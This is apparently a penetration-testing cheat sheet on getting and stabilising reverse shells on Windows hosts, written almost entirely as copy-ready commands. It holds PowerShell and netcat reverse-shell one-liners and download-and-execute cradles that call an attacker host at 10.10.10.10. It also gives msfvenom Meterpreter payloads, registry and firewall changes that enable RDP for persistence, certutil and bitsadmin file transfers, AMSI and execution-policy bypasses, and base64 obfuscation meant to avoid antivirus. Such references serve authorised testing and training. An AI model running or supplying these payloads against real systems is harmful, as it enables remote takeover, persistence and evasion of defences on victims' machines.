Windows Shell Upgrade and Stabilization Upgrade basic Windows reverse shells to fully interactive ConPTY shells with proper terminal emulation. ConPTY provides a native Windows pseudo-console for better shell interaction and stability.
Quick Reference IEX (IWR http://10.10 .10.10 :8000 /Invoke-ConPtyShell .ps1 -UseBasicParsing )powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',4444);$stream = $client .GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream .Read($bytes , 0, $bytes .Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes ,0, $i );$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2 );$stream .Write($sendbyte ,0,$sendbyte .Length);$stream .Flush()};$client .Close()"
ConPTY Shell (Recommended) Setup python3 -m http.server 8000
Attacker Listener stty raw -echo ; (stty size; cat ) | nc -lvnp 4444
Victim Execution IEX (IWR http://10.10 .10.10 :8000 /Invoke-ConPtyShell .ps1 -UseBasicParsing )powershell.exe IEX (IWR http://10.10 .10.10 :8000 /Invoke-ConPtyShell .ps1 -UseBasicParsing ) cmd.exe /c powershell.exe IEX (IWR http://10.10 .10.10 :8000 /Invoke-ConPtyShell .ps1 -UseBasicParsing ) cmd.exe /c "powershell.exe IEX(IWR http://10.10.10.10:8000/Invoke-ConPtyShell.ps1 -UseBasicParsing)" Invoke-WebRequest http://10.10 .10.10 :8000 /Invoke-ConPtyShell .ps1 -OutFile C:\Windows\Temp\shell.ps1C:\Windows\Temp\shell.ps1
Base64 Encoded Execution printf "IWR 'http://10.10.10.10:8000/Invoke-ConPtyShell.ps1' -UseBasicParsing | IEX" | iconv -t utf-16le | base64 -w 0powershell -enc <base64_payload>
PowerShell Reverse Shells One-Liner powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',4444);$stream = $client .GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream .Read($bytes , 0, $bytes .Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes ,0, $i );$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2 );$stream .Write($sendbyte ,0,$sendbyte .Length);$stream .Flush()};$client .Close()"
Nishang Reverse Shell IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8000/Invoke-PowerShellTcp.ps1' )Invoke-PowerShellTcp -Reverse -IPAddress 10.10 .10.10 -Port 4444
CMD Reverse Shells # Netcat (if available) nc.exe -e cmd .exe 10 .10 .10 .10 4444 # PowerShell from CMD cmd .exe /c powershell -nop -c "$client = New-Object System.Net .Sockets.TCPClient('10 .10 .10 .10 ',4444 );..."
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o shell.exe msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f psh -o shell.ps1 use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcpset LHOST 10.10.10.10set LPORT 4444run
Enable RDP for Persistence # Enable RDP reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f # Allow through firewall netsh advfirewall firewall set rule group="remote desktop" new enable=Yes # Connect xfreerdp /u:username /p:password /v:10 .10 .10 .10
File Transfer Methods Invoke-WebRequest http://10.10 .10.10 :8000 /file.exe -OutFile C:\Windows\Temp\file.exeIWR http://10.10 .10.10 :8000 /file.exe -OutFile C:\Windows\Temp\file.execertutil -urlcache -f http://10.10 .10.10 :8000 /file.exe C:\Windows\Temp\file.exe bitsadmin /transfer myDownloadJob /download /priority normal http://10.10 .10.10 :8000 /file.exe C:\Windows\Temp\file.exe IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8000/script.ps1' )
Common Workflow python3 -m http.server 8000 stty raw -echo ; (stty size; cat ) | nc -lvnp 4444
Troubleshooting ConPTY Not Working $PSVersionTable .PSVersion(New-Object Net.WebClient).DownloadString('http://10.10.10.10:8000/Invoke-ConPtyShell.ps1' ) | IEX Get-ExecutionPolicy Set-ExecutionPolicy Bypass -Scope Process
Firewall Blocking Outbound netsh advfirewall show allprofiles
AMSI Bypass [Ref ].Assembly.GetType('System.Management.Automation.AmsiUtils' ).GetField('amsiInitFailed' ,'NonPublic,Static' ).SetValue($null ,$true ) $a =[Ref ].Assembly.GetTypes();Foreach ($b in $a ) {if ($b .Name -like "*iUtils" ) {$c =$b }};$d =$c .GetFields('NonPublic,Static' );Foreach ($e in $d ) {if ($e .Name -like "*Context" ) {$f =$e }};$g =$f .GetValue($null );[Int Ptr ]$ptr =$g ;[Int 32 []]$buf = @ (0 );[System.Runtime.InteropServices.Marshal ]::Copy ($buf , 0 , $ptr , 1 )
Notes ConPTY Advantages:
Full terminal emulation
Proper signal handling
Tab completion
Command history
Works with interactive programs
Native Windows pseudo-console
ConPTY Requirements:
Windows 10 1809+ or Server 2019+
PowerShell available
Outbound network access
Listener Setup:
The stty raw -echo command is crucial:
raw: Passes all input directly
-echo: Prevents double echo
Provides proper terminal emulation
Pivoting Considerations:
When pivoting through another host:
Host web server on pivot
Edit ConPtyShell.ps1 to connect to pivot
Set up port forwarding on pivot
Listener on attacker machine
Alternative Tools:
Empire/Starkiller : C2 framework
Covenant : .NET C2 framework
Sliver : Modern C2 framework
Metasploit : Meterpreter shells
Execution Policy Bypass:
powershell -ExecutionPolicy Bypass -File script.ps1 powershell -ep bypass -File script.ps1 Set-ExecutionPolicy Bypass -Scope Process
Obfuscation:
$command = 'IEX(IWR http://10.10.10.10:8000/shell.ps1 -UseBasicParsing)' $bytes = [System.Text.Encoding ]::Unicode.GetBytes($command )$encodedCommand = [Convert ]::ToBase64String($bytes )powershell -enc $encodedCommand
Best Practices:
Use ConPTY for best experience
Always test shell stability
Have backup shell methods
Consider AMSI/AV evasion
Use HTTPS when possible
Clean up artifacts after
Document working payloads
Common Issues:
AMSI blocking : Use AMSI bypass
Execution policy : Use -ep bypass
Firewall : Try different ports
AV detection : Obfuscate payload
Network restrictions : Use allowed protocols